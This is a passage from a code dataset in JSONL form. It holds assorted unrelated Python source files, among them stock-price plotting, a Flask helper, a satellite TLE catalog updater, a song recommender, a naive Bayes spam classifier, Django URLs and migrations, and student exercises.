pandas has a built-in rolling mean calculator\n\n# Let's go ahead and plot out several moving averages\nma_day = [10,20,50]\n\nfor ma in ma_day:\n column_name = \"MA for %s days\" %(str(ma))\n AAPL[column_name]= AAPL['Adj Close'].rolling(window = ma).mean()\n\nAAPL[['Adj Close','MA for 10 days','MA for 20 days','MA for 50 days']].plot(subplots=False,figsize=(10,4))\n\n\n# We'll use pct_change to find the percent change for each day\nAAPL['Daily Return'] = AAPL['Adj Close'].pct_change()\n# Then we'll plot the daily return percentage\nAAPL['Daily Return'].plot(figsize=(12,4),legend=True,linestyle='--')\n\n# Note the use of dropna() here, otherwise the NaN values can't be read by seaborn\nsns.distplot(AAPL['Daily Return'].dropna(),bins=100,color='purple')\n\n# Could have also done:\nAAPL['Daily Return'].hist()\n\n# Grab all the closing prices for the tech stock list into one DataFrame\nclosing_df = data.get_data_yahoo(['AAPL','GOOG','MSFT','AMZN'],start,end)['Adj Close']\n\n# Make a new tech returns DataFrame\ntech_rets = closing_df.pct_change()\n\n# Comparing Google to itself should show a perfectly linear relationship\nsns.jointplot('GOOG','GOOG',tech_rets,kind='scatter',color='seagreen')\n\n# We'll use joinplot to compare the daily returns of Google and Microsoft\nsns.jointplot('GOOG','MSFT',tech_rets,kind='scatter')\n# We can simply call pairplot on our DataFrame for an automatic visual analysis of all the comparisons\nsns.pairplot(tech_rets.dropna())\n\n##צורות שונות רק\n# Set up our figure by naming it returns_fig, call PairPLot on the DataFrame\nreturns_fig = sns.PairGrid(tech_rets.dropna())\n\n# Using map_upper we can specify what the upper triangle will look like.\nreturns_fig.map_upper(plt.scatter,color='purple')\n\n# We can also define the lower triangle in the figure, inclufing the plot type (kde) or the color map (BluePurple)\nreturns_fig.map_lower(sns.kdeplot,cmap='cool_d')\n\n# Finally we'll define the diagonal as a series of histogram plots of the daily return\nreturns_fig.map_diag(plt.hist,bins=30)\n\n#heatmap\ncorr = tech_rets.corr()\nsns.heatmap(corr,annot=True)\n\n\n\n# return on risk\nrets = tech_rets.dropna()\n\narea = np.pi*20\n\nplt.scatter(rets.mean(), rets.std(),alpha = 0.5,s =area)\n\n# Set the x and y limits of the plot (optional, remove this if you don't see anything in your plot)\nplt.ylim([0.01,0.025])\nplt.xlim([-0.003,0.004])\n\n#Set the plot axis titles\nplt.xlabel('Expected returns')\nplt.ylabel('Risk')\n\nfor label, x, y in zip(rets.columns, rets.mean(), rets.std()):\n plt.annotate(\n label, \n xy = (x, y), xytext = (50, 50),\n textcoords = 'offset points', ha = 'right', va = 'bottom',\n arrowprops = dict(arrowstyle = '-', connectionstyle = 'arc3,rad=-0.3'))\n\n# Note the use of dropna() here, otherwise the NaN values can't be read by seaborn\nsns.distplot(AAPL['Daily Return'].dropna(),bins=100,color='purple')\n\n# The 0.05 empirical quantile of daily returns\nrets['AAPL'].quantile(0.05)","sub_path":"Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"8430122","text":"from flask import jsonify, url_for\nfrom app.models import *\n\n\ndef check_body_response(*args, data):\n for key, value in data.items():\n if value is \"\" and key in args:\n return False\n\n\ndef make_response(object, data):\n db.session.add(object)\n db.session.commit()\n response = jsonify(object.to_dict())\n response.status_code = 201\n response.headers['Location'] = url_for(f'api.get_{object.__name__}', id=object.id)\n return response\n","sub_path":"app/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"591094158","text":"import set_path\nimport sys\n#from spacetrack_get import get_catalogs\nfrom spacetrack_REST_get import get_catalog\n#from spacetrack_unzipper import spacetrack_unzipper\nfrom catalog_parse_tle import catalog_parse_tle\nfrom pymongo import Connection\nimport datetime\n\ntry: \n\tconnection = Connection('localhost',27017)\n\tdb = connection['TLE']\n\tcat = connection['CATALOGS']\n\tposts = db.posts\n\tcatposts = cat.posts\n\nexcept:\n\tsys.stderr.write('update_catalog.py: could not connect to MongoDB\\n')\n\tsys.exit(2)\n\n# what catalogs have we downloaded ?\ntry:\talready_got = catposts.find({},{'filename':1})\nexcept:\t\n\tsys.stderr.write('update_catalog.py: could not get list of catalog files already processed\\n')\n\tsys.exit(2)\n\ntry: \n\tgot_list = map( lambda x: x['filename'], already_got )\n\tgot_list = map( lambda x: str( x ), got_list )\nexcept: \n\tsys.stderr.write('update_catalog.py: could not transform the list of catalogs\\n')\n\tsys.exit(2)\n\n# deprecated by the new SatTrack REST setup\n# fudge a catalog name (to mimic the old SpaceTrack format)\n#NOWCAT = datetime.datetime.utcnow().strftime('alldata_%Y_%j.zip')\n\n# deprecated by the new SatTrack REST setup\n# if we've already pulled today, then don't do it again\n#if got_list.count( NOWCAT ) >0 : sys.exit()\n\n# pull the cat and parse it\nCAT = get_catalog()\ncatalog_parse_tle( CAT.split('\\r\\n') , None)\ntry: parsed = catalog_parse_tle( CAT.split('\\r\\n'), None )\nexcept: \n\tsys.stderr.write('%s : cannot pull catalog or parse it\\n' % sys.argv[0] )\n\tsys.exit()\t\n\n# now do the loop to insert TLE's and record the catalog\nfor TLE in parsed:\n\tlookFor = posts.find_one( TLE._mongoDB() )\n\tif lookFor == None: \n\t\ttry: posts.insert( TLE._mongoDB() )\n\t\texcept: \n\t\t\tsys.stderr.write('update_catalogs.py: could not add TLE: %s \\n' % str(TLE))\n\t\t\tcontinue\n\t\tsys.stderr.write(\"Inserted TLE (%d) , epoch year/day: %04d %f\\n\" % (TLE.sat_no,TLE.epoch_year,TLE.epoch_day))\n\telse:\n\n\t\tsys.stderr.write(\"Found dupe for TLE (%d) , epoch year/day: %04d %f\\n\" % (TLE.sat_no,TLE.epoch_year,TLE.epoch_day))\n\t# record the catalog filename\n\n# SatTrack used to be file-based, but it isn't anymore. (No per-day files.)\n#try: catposts.insert( {'filename' : k } )\n#except: sys.stderr.write( 'update_catalogs.py: could not add %s to CATALOGS\\n' % k )\n\n","sub_path":"utilities/catalog/automatic_catalog_update.py","file_name":"automatic_catalog_update.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"241829263","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 22 09:19:58 2020\r\n\r\n@author: SKD-HiTMAN\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom scipy.sparse.linalg import svds\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\n\r\nratings_df = pd.read_csv('../../Dataset/SongsData/ratings.csv')\r\nsongs_df = pd.read_csv('../../Dataset/SongsData/songs.csv', encoding='latin-1')\r\n\r\n\r\nA_df = ratings_df.pivot_table(index='userId', columns='songId', values='rating', aggfunc=np.max).fillna(0)\r\n#A_df.replace({np.nan:0}, regex = True, inplace=True)\r\n\r\n\r\nA = A_df.to_numpy() # transform to numpy array to perform matrix opn\r\nuser_rating_mean = np.mean(A, axis=1) # fill in all empty cells by avg rating of users\r\nA_normalized = A - user_rating_mean.reshape(-1, 1) # subtracting mean from our original data\r\n\r\n# performing SVD\r\nU, sigma, Vt = svds(A_normalized, k = 5)\r\nsigma = np.diag(sigma)\r\n\r\npredicted_rating = np.dot(np.dot(U, sigma), Vt) + user_rating_mean.reshape(-1, 1)\r\n\r\n# dataframe of our predicted rating matrix\r\npredicted_rating_df = pd.DataFrame(predicted_rating, columns = A_df.columns)\r\n# now we have ratings by each user to each\r\n\r\npred_df_T = np.transpose(predicted_rating_df)\r\n\r\n\r\n# cosine similarity: pairwise similarity b/w all users and song-rating dfs\r\nitem_similarity = cosine_similarity(pred_df_T)\r\n\r\n# user_similarity is a numpy array--> convert to df : to be able to use pandas useful features\r\nitem_sim_df = pd.DataFrame(item_similarity, index = pred_df_T.index, columns = pred_df_T.index)\r\n\r\n\r\n# looking for the song by song Id\r\ndef sim_songs_to(songId):\r\n count = 1\r\n songIndex = songs_df.index[songs_df['songId'] == songId]\r\n print('Similar songs to {} are: '.format(songs_df.loc[songIndex].title))\r\n \r\n # sorts by song title and get top ten results\r\n for item in item_sim_df.sort_values(by = songId, ascending=False).index[1:11]:\r\n itemIndex = songs_df.index[songs_df['songId'] == item]\r\n print('No. {} : {}'.format(count, songs_df.loc[itemIndex].title))\r\n count += 1\r\n\r\nsim_songs_to(4)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"MRS Models/IBCF_mf.py","file_name":"IBCF_mf.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"109410997","text":"\"\"\"Tamamsazeh-WebSite URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.contrib import admin\nfrom django.urls import path,include\nfrom tamamsazehFa.views import *\nfrom django.conf import settings\nfrom django.views.static import serve\nfrom django.conf.urls import url\nfrom tamamsazeh.models import Article\n\nurlpatterns = [\n path('projects/', projects),\n path('projectView/', projectView),\n path('main_page/', main_page),\n path('base/', base),\n path('certifications/', certifications),\n path('certifications/', certificationsNon),\n path('aboutus/', aboutus),\n path('crew/', crew),\n path('article/', article),\n path('articleView/', articleView),\n path('blog/', blog),\n path('',main_page)\n]\nif settings.DEBUG:\n urlpatterns += [\n url(r'^media/(?P.*)$', serve, {\n 'document_root': settings.MEDIA_ROOT\n }),\n ]\n","sub_path":"tamamsazehFa/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"195061878","text":"'''\nBy DR. Jibo He @ uSEE Eye Tracking Inc. \nWritten for my student at Chinese Academy of Science.\nSeptember 12, 2017\n'''\n#!/usr/bin/env python2\nfrom psychopy import visual, core, event\n\n#create a window to draw in\nmyWin = visual.Window((200.0,200.0),allowGUI=False,winType='pyglet',\n monitor='testMonitor', units ='deg', screen=0)\nmyWin.setRecordFrameIntervals()\n\n#INITIALISE SOME STIMULI\nsquare = visual.Rect(myWin,width=1,height=1)\nsquare.pos= (0,0)\nsquare.ori = 45\nsquare.draw()\n \n\nmyWin.flip()\n#pause, so you get a chance to see it!\ncore.wait(5.0)\n\n\n","sub_path":"Chapter 11 - PsychoPy入门 - 基本刺激材料的呈现/ch11-VisualRectStim.py","file_name":"ch11-VisualRectStim.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"527122516","text":"import json\nimport math\nfrom text_cleaner import TextCleaning\nfrom vocabulary_creator import VocabularyCreator\n\n\nclass EmailAnalyzer:\n \"\"\"Classe pour classifier les e-mails comme spam ou non spam (ham)\"\"\"\n\n def __init__(self):\n self.vocab = \"vocabulary.json\"\n self.cleaning = TextCleaning()\n self.words = VocabularyCreator()\n\n @staticmethod\n def is_spam_function_one(is_msg_spam, user_historic_in_days, user_trust, user_group_trust):\n p = is_msg_spam\n h = user_historic_in_days < 30\n t1 = user_trust < 60\n t2 = user_group_trust < 70\n t3 = user_trust > 75\n result = p and (h and t1 or t2) or h and t2 and not t3\n return result\n\n @staticmethod\n def is_spam_function_two(is_msg_spam, user_trust, user_group_trust):\n p = is_msg_spam\n t2 = user_group_trust < 70\n t3 = user_trust > 75\n result = p or not t3 and t2\n return result\n\n def is_spam(self, subject_orig, body_orig, isLogEstimation, isLogCombination, k):\n '''\n Description: fonction pour verifier si e-mail est spam ou ham,\n en calculant les probabilites d'etre spam et ham, \n donnee le sujet et le texte d'email. \n Sortie: 'True' - si l'email est spam, 'False' - si email est ham.\n '''\n # nombre de mots spam ou ham / nombre de mots total dans les emails\n pSpam = self.calculate_spam_divided_by_email()\n pHam = self.calculate_ham_divided_by_email()\n\n if (isLogEstimation):\n pSpamSubject, pHamSubject = self.subject_spam_ham_log_prob(subject_orig, pSpam, pHam)\n pSpamBody, pHamBody = self.subject_spam_ham_log_prob(body_orig, pSpam, pHam)\n estimationpSpamSubject = math.log10(pSpam) + pSpamSubject\n estimationpHamSubject = math.log10(pHam) + pHamSubject\n estimationpSpamBody = math.log10(pSpam) + pSpamBody\n estimationpHamBody = math.log10(pHam) + pHamBody\n else:\n pSpamSubject, pHamSubject = self.subject_spam_ham_prob(subject_orig)\n pSpamBody, pHamBody = self.spam_ham_body_prob(body_orig)\n estimationpSpamSubject = pSpam * pSpamSubject\n estimationpHamSubject = pHam * pHamSubject\n estimationpSpamBody = pSpam * pSpamBody\n estimationpHamBody = pHam * pHamBody\n\n if (isLogCombination):\n # s'assurer que l'estimation est strictement plus grand que 0 afin de pouvoir faire le logarithme\n # seul ceux qui sont strictement positif auront appliquer la fonction math.log10\n if (estimationpSpamSubject > 0):\n estimationpSpamSubject = math.log10(estimationpSpamSubject)\n if (estimationpHamSubject > 0):\n estimationpHamSubject = math.log10(estimationpHamSubject)\n if (estimationpSpamBody > 0):\n estimationpSpamBody = math.log10(estimationpSpamBody)\n if (estimationpHamBody > 0):\n estimationpHamBody = math.log10(estimationpHamBody)\n\n # s'assurer que la valeur de k est entre 0 et 1\n # si elle est plus grand que 1, le rendre en une valeur entre 0 et 1\n if (k > 1):\n k = k / math.pow(10, len(str(k)))\n elif (k < 0):\n k = 0\n # la formule de combinaison de prob est pareil pour les 2 options\n # a l'exception de la valeur des parametres d'estimation qui auront applique le logarithme si approprie\n combinationpSpam = k * estimationpSpamSubject + (1 - k) * estimationpSpamBody\n combinationpHam = k * estimationpHamSubject + (1 - k) * estimationpHamBody\n\n return combinationpSpam > combinationpHam\n\n def subject_spam_ham_log_prob(self, subject, pSpam, pHam):\n vocabulary = self.load_dict()\n\n pSpamSubject = pSpam\n pHamSubject = pHam\n\n # calcul de probabilite de spam ou ham dans le body\n subject = self.clean_text(subject)\n for word in subject:\n if word in dict(vocabulary['spam_body']):\n pSpamSubject += dict(vocabulary['spam_body'])[word]\n if word in dict(vocabulary['ham_body']):\n pHamSubject += dict(vocabulary['ham_body'])[word]\n\n # logarithme de pSpamBody et pHamBody\n pHamSubject = math.log10(pHamSubject)\n pSpamSubject = math.log10(pSpamSubject)\n\n if pSpam == pSpamSubject:\n pSpamSubject = 0\n elif pHam == pHamSubject:\n pHamSubject = 0\n\n return pSpamSubject, pHamSubject\n\n def spam_ham_body_log_prob(self, body, pSpam, pHam):\n vocabulary = self.load_dict()\n\n pSpamBody = pSpam\n pHamBody = pHam\n\n # calcul de probabilite de spam ou ham dans le body\n body = self.clean_text(body)\n for word in body:\n if word in dict(vocabulary['spam_body']):\n pSpamBody += dict(vocabulary['spam_body'])[word]\n if word in dict(vocabulary['ham_body']):\n pHamBody += dict(vocabulary['ham_body'])[word]\n\n # logarithme de pSpamBody et pHamBody\n pHamBody = math.log10(pHamBody)\n pSpamBody = math.log10(pSpamBody)\n\n if pSpam == pSpamBody:\n pSpamBody = 0\n elif pHam == pHamBody:\n pHamBody = 0\n\n return pSpamBody, pHamBody\n \n def spam_ham_body_prob(self, body):\n '''\n Description: fonction pour calculer la probabilite\n que le 'body' d'email est spam ou ham.\n Sortie: probabilite que email body est spam, probabilite\n que email body est ham.\n '''\n\n vocabulary = self.load_dict()\n\n # nombre de mots spam ou ham / nombre de mots total dans les emails\n pSpam = self.calculate_spam_divided_by_email()\n pHam = self.calculate_ham_divided_by_email()\n\n pSpamBody = pSpam\n pHamBody = pHam\n\n # calcul de probabilite de spam ou ham dans le body\n body = self.clean_text(body)\n for word in body:\n if word in dict(vocabulary['spam_body']):\n pSpamBody *= dict(vocabulary['spam_body'])[word]\n if word in dict(vocabulary['ham_body']):\n pHamBody *= dict(vocabulary['ham_body'])[word]\n\n if pSpam == pSpamBody:\n pSpamBody = 0\n elif pHam == pHamBody:\n pHamBody = 0\n\n return pSpamBody, pHamBody\n\n def subject_spam_ham_prob(self, subject):\n '''\n Description: fonction pour calculer la probabilite\n que le sujet d'email est spam ou ham.\n Sortie: probabilite que email subject est spam, probabilite\n que email subject est ham.\n '''\n\n vocabulary = self.load_dict()\n\n # nombre de mots spam ou ham / nombre de mots total dans les emails\n pSpam = self.calculate_spam_divided_by_email()\n pHam = self.calculate_ham_divided_by_email()\n\n pSpamSubject = pSpam\n pHamSubject = pHam\n\n # calcul de probabilite de spam ou ham dans le sujet\n subject = self.clean_text(subject)\n spam_dict = dict(vocabulary['spam_sub'])\n ham_dict = dict(vocabulary['ham_sub'])\n for word in subject:\n if word in spam_dict:\n pSpamSubject *= spam_dict[word]\n if word in ham_dict:\n pHamSubject *= ham_dict[word]\n\n if pSpam == pSpamSubject:\n pSpamSubject = 0\n elif pHam == pHamSubject:\n pHamSubject = 0\n\n return pSpamSubject, pHamSubject\n\n def calculate_spam_divided_by_email(self): # pragma: no cover\n return self.words.count_spam() / self.words.count_emails()\n\n def calculate_ham_divided_by_email(self): # pragma: no cover\n return self.words.count_ham() / self.words.count_emails()\n\n def load_dict(self): # pragma: no cover\n with open(self.vocab) as file:\n vocabulary = json.load(file)\n\n return vocabulary\n\n def clean_text(self, text): # pragma: no cover\n return self.cleaning.clean_text(text, 0)\n","sub_path":"A20 TP/TP3/1956925_1994973/email_analyzer.py","file_name":"email_analyzer.py","file_ext":"py","file_size_in_byte":8015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"266557240","text":"import random\n\nfor i in range(10):\n ch = input(\"guess any char btwn A-Z: \")\n no = random.randint(65,90)\n gen_ch =chr(no)\n if ch == gen_ch:\n print(\"yeah, winner\")\n break\nelse:\n print(\"better luck,next time\")","sub_path":"r.py","file_name":"r.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"178312981","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport filer.fields.image\nimport django.utils.timezone\nimport cms.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('filer', '0002_auto_20150606_2003'),\n ('cms', '0012_auto_20150607_2207'),\n ('staff', '0003_auto_20150825_1126'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='NewsArchivePluginModel',\n fields=[\n ('cmsplugin_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='cms.CMSPlugin')),\n ('show_months', models.BooleanField(default=False, help_text='Check this option to break the archive down into years and months.', verbose_name=b'show months?')),\n ],\n options={\n },\n bases=('cms.cmsplugin',),\n ),\n migrations.CreateModel(\n name='NewsCategory',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('order', models.PositiveIntegerField(default=1, editable=False, db_index=True)),\n ('name', models.CharField(default=b'', help_text='Please provide a unique name for this news category.', max_length=64, verbose_name=b'category name')),\n ('slug', models.SlugField(default=b'', help_text=b'', max_length=255, verbose_name=b'slug')),\n ('info', cms.models.fields.PlaceholderField(slotname=b'category_info', editable=False, to='cms.Placeholder', null=True)),\n ],\n options={\n 'verbose_name_plural': 'news categories',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='NewsItem',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('headline', models.CharField(default=b'', help_text='Please provide a unique headline for this news item.', max_length=255, verbose_name=b'headline')),\n ('slug', models.SlugField(default=b'', help_text=b'', max_length=255, verbose_name=b'slug')),\n ('announcement', models.BooleanField(default=False, help_text='Check this box to display this item in the Announcements box on the front page.', verbose_name='announcement?')),\n ('announcement_title', models.CharField(default=b'', help_text='Optional. Alternate title to be used in the Announcements Box on the front page.', max_length=255, verbose_name=b'announcement title', blank=True)),\n ('subtitle', models.CharField(default=b'', help_text='Optional. Please provide a unique subtitle for this news item.', max_length=255, verbose_name=b'subtitle', blank=True)),\n ('published', models.BooleanField(default=False, help_text='Check to allow this news post to be publically visible', verbose_name=b'pubished')),\n ('news_date', models.DateTimeField(default=django.utils.timezone.now, help_text='Please provide the date of this news item. Note, setting this to a future date will prevent this news item from appearing until that time.', verbose_name='news date')),\n ('mod_date', models.DateTimeField(auto_now=True, verbose_name='modification date')),\n ('key_image_tooltip', models.CharField(default=b'', help_text=b'', max_length=255, verbose_name=b'key image tooltip', blank=True)),\n ('categories', models.ManyToManyField(help_text='Please select one or more categories for this news item.', related_name='news_items', to='news.NewsCategory')),\n ('key_image', filer.fields.image.FilerImageField(related_name='news_key_image', blank=True, to='filer.Image', help_text='Optional. Please supply an image, if one is desired. This will be resized automatically.', null=True)),\n ('news_body', cms.models.fields.PlaceholderField(slotname=b'news_item_body', editable=False, to='cms.Placeholder', null=True)),\n ('related_staff', models.ManyToManyField(related_name='news_items', to='staff.StaffMember', blank=True, help_text='Optional. Please choose zero or more staff related to this item. Selected staff will automatically get a Publication added that references this news item.', null=True, verbose_name='related staff')),\n ],\n options={\n 'ordering': ['-news_date'],\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='PANSS',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('rating_date', models.DateField(default=django.utils.timezone.now, verbose_name=b'date of rating', blank=True)),\n ('P1', models.IntegerField(default=0, verbose_name=b'P1 - Delusions')),\n ('P2', models.IntegerField(default=0, verbose_name=b'P2 - Conceptual Disorganisation')),\n ('P3', models.IntegerField(default=0, verbose_name=b'P3 - Hallucinatory Behaviour')),\n ('P4', models.IntegerField(default=0, verbose_name=b'P4 - Excitement')),\n ('G15', models.IntegerField(default=0, verbose_name=b'G15 - Preoccupation')),\n ('G16', models.IntegerField(default=0, verbose_name=b'G16 - Active Social Avoidance')),\n ('S1', models.IntegerField(default=0, verbose_name=b'S1 - Anger')),\n ('S2', models.IntegerField(default=0, verbose_name=b'S2 - Difficulty in Delaying Gratification')),\n ('S3', models.IntegerField(default=0, verbose_name=b'S3 - Affective Lability')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='RecentNewsPluginModel',\n fields=[\n ('cmsplugin_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='cms.CMSPlugin')),\n ('max_items', models.PositiveIntegerField(default=5, help_text='Please provide the maximum number of items to display (0 means unlimited)', verbose_name=b'max. number')),\n ],\n options={\n },\n bases=('cms.cmsplugin',),\n ),\n ]\n","sub_path":"news/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"590415003","text":"'''\nCreated on September 12, 2019\n\nI pledge my honor that I have abided by the Stevens Honor System.\n\n@author: Brandon Kreiser\n\nusername: bkreiser\n'''\ndef length(L):\n '''Gets the length of L'''\n if(L == [] or L == ''):\n return 0\n else:\n L = list(L)\n return 1 + length(L[:-1])\n\ndef dot(L, K):\n '''Gets the dot product of the lists L and K'''\n if(length(L) == 0 and length(K) != 0):\n L = L + [0]\n elif(length(L) != 0 and length(K) == 0):\n K = K + [0]\n\n if(L == []):\n return 0\n else:\n return L[0] * K[0] + dot(L[1:], K[1:]) \n \ndef explode(S):\n '''Calls the recurive helper method'''\n return h_explode(S, [])\n\ndef h_explode(S, A):\n '''Expands a string into a list of its characters'''\n if(length(S) == 0):\n return A\n else:\n A = A + list(S[0])\n return h_explode(S[1:], A)\n\ndef ind(e, L):\n '''Finds the first occurrence of e in the list L'''\n if(L == []):\n return 0\n elif(L[0] == e):\n return 0\n else:\n if(length(L) == 1):\n return 1 + ind(e, [])\n else:\n return 1 + ind(e, L[1:])\n \ndef removeAll(e, L):\n '''Calls the recurive helper method'''\n return h_removeAll(e, L, [])\n\ndef h_removeAll(e, L, A):\n '''Removes all occurrences of e from list l'''\n if(length(L) == 0):\n return A\n else:\n if(L[0] == e):\n return h_removeAll(e, L[1:], A)\n else:\n A = A + L[0:1]\n return h_removeAll(e, L[1:], A)\n \ndef myFilter(f, L):\n '''Calls the recurive helper method'''\n return h_myFilter(f, L, [])\n\ndef h_myFilter(f , L , A):\n '''Applies the bool funtion f to all elements of L'''\n if(length(L) == 0):\n return A\n else:\n if(f(L[0])):\n A = A + L[0:1]\n\n return h_myFilter(f, L[1:], A)\n\ndef deepReverse(L):\n '''Calls the recurive helper method'''\n return h_deepReverse(L, [])\n\ndef h_deepReverse(L, A):\n '''Completely reverses the list L and all of its sublists'''\n if(length(L) == 0):\n return A\n else:\n if isinstance(L[length(L)- 1], list): \n A = A + [0]\n A[length(A) - 1] = deepReverse(L[length(L)- 1])\n else: \n A = A + L[-1:]\n return h_deepReverse(L[:-1] , A)","sub_path":"lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"537958225","text":"salario = float(input('Digite o valor do salário: '))\nif salario <= 2000:\n reajustado = ((salario*0.5) + salario)\n print('Com o reajuste de 50%, o salário aumentou para ', reajustado)\nif salario > 2000 and salario <= 5000:\n reajustado = ((salario*0.4) + salario)\n print('Com o reajuste de 40%, o salário aumentou para ', reajustado)\nif salario > 5000 and salario <= 7000:\n reajustado = ((salario*0.2) + salario)\n print('Com o reajuste de 20%, o salário aumentou para ', reajustado)\nif salario > 7000:\n reajustado = ((salario*0.1) + salario)\n print('Com o reajuste de 10%, o salário aumentou para ', reajustado)","sub_path":"Lista 3/09.py","file_name":"09.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"425562650","text":"\"\"\"\nLarger octree full mesh for transient DFN comparisons\n\"\"\"\n# Import PyLaGriT class from pylagrit module\nfrom pylagrit import PyLaGriT\nimport numpy as np\n\n# (at some point, may have to specify pylagritrc file with lagrit_exe path\n\n\"\"\"\nGrid dimensions/discretization\n\"\"\"\n#---- Dimensions\ndm = 10. #[m] half-block width\ndf = 0.001 #[m] fracture aperture\nL = 100. #[m] total domain depth\n#---- Discretization\ndx = 1. #[m] matrix horz. discretization\ndy = dx # same as dx\ndz = 1. #[m] \n\n\"\"\"\nCreate xyz arrays for location of points\n\"\"\"\n#-----\n# X\n#-----\n# blocks on either side of the fracture\nl_block = np.linspace(-dm, -df/2, 10) # left block\nr_block = -1 * l_block[::-1] # right block \n# assemble\nx = np.concatenate((l_block, r_block), axis=0)\n#-----\n# Y\n#-----\ny = x #for now, same as x\n#-----\n# Z\n#-----\nz = np.linspace(-L, 0., int(L)+1)\n\n\n\"\"\"\nBuild mesh\n\"\"\"\n#---- Create pylagrit object\nl = PyLaGriT()\n#---- create mesh object using xyz arrays in gridder\nm = l.gridder(x,y,z)\n#---- connect points\nm.connect()\n\n#---- visualize connected mesh using ParaView\n# (assumes pylagritc is being used)\n#--THIS NEEDS TO BE HERE (otherwise mo1.inp file doesn't get created)\nm.paraview() # will throw an error on server, can still view mo1.inp on locally mounted paraview\n\n\n","sub_path":"octree_fullmesh/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"73059512","text":"import os\nimport sys\n\nparent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), \"../..\"))\nsys.path.append(parent_dir)\n\nfrom atat.domain.csp.cloud.models import BillingProfileTenantAccessCSPPayload\nfrom script.provision.provision_base import handle\n\n\ndef grant_access(csp, inputs):\n tenant_access = BillingProfileTenantAccessCSPPayload(\n **{**inputs.get(\"initial_inputs\"), **inputs.get(\"csp_data\")}\n )\n result = csp.create_billing_profile_tenant_access(tenant_access)\n return dict(result)\n\n\nif __name__ == \"__main__\":\n handle(grant_access)\n","sub_path":"script/provision/c_billing_profile_tenant_access.py","file_name":"c_billing_profile_tenant_access.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"152972892","text":"import json\nfrom airflow import DAG\n\nconfig = load_config()\nwith DAG(**config.dag_args()) as the_dag:\n _Workflow_0 = Workflow_0(config)\n _Workflow_2 = Workflow_2(config)\n _Email_1 = Email_1(config)\n _Email0 = Email0(config)\n\n _Workflow_0[1] >> _Email0\n _Workflow_0[1] >> _Workflow_2[0]\n _Workflow_2[1] >> _Email_1\n\n\n","sub_path":"schedules/pankajSchedule/code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"508594314","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\n#Set up JB's preferred style\ncolors = ['#1f77b4', '#ff7f0e', '#2ca02c', '#d62728',\n '#9467bd', '#8c564b', '#e377c2', '#7f7f7f',\n '#bcbd22', '#17becf']\nsns.set(style='whitegrid', palette=colors, 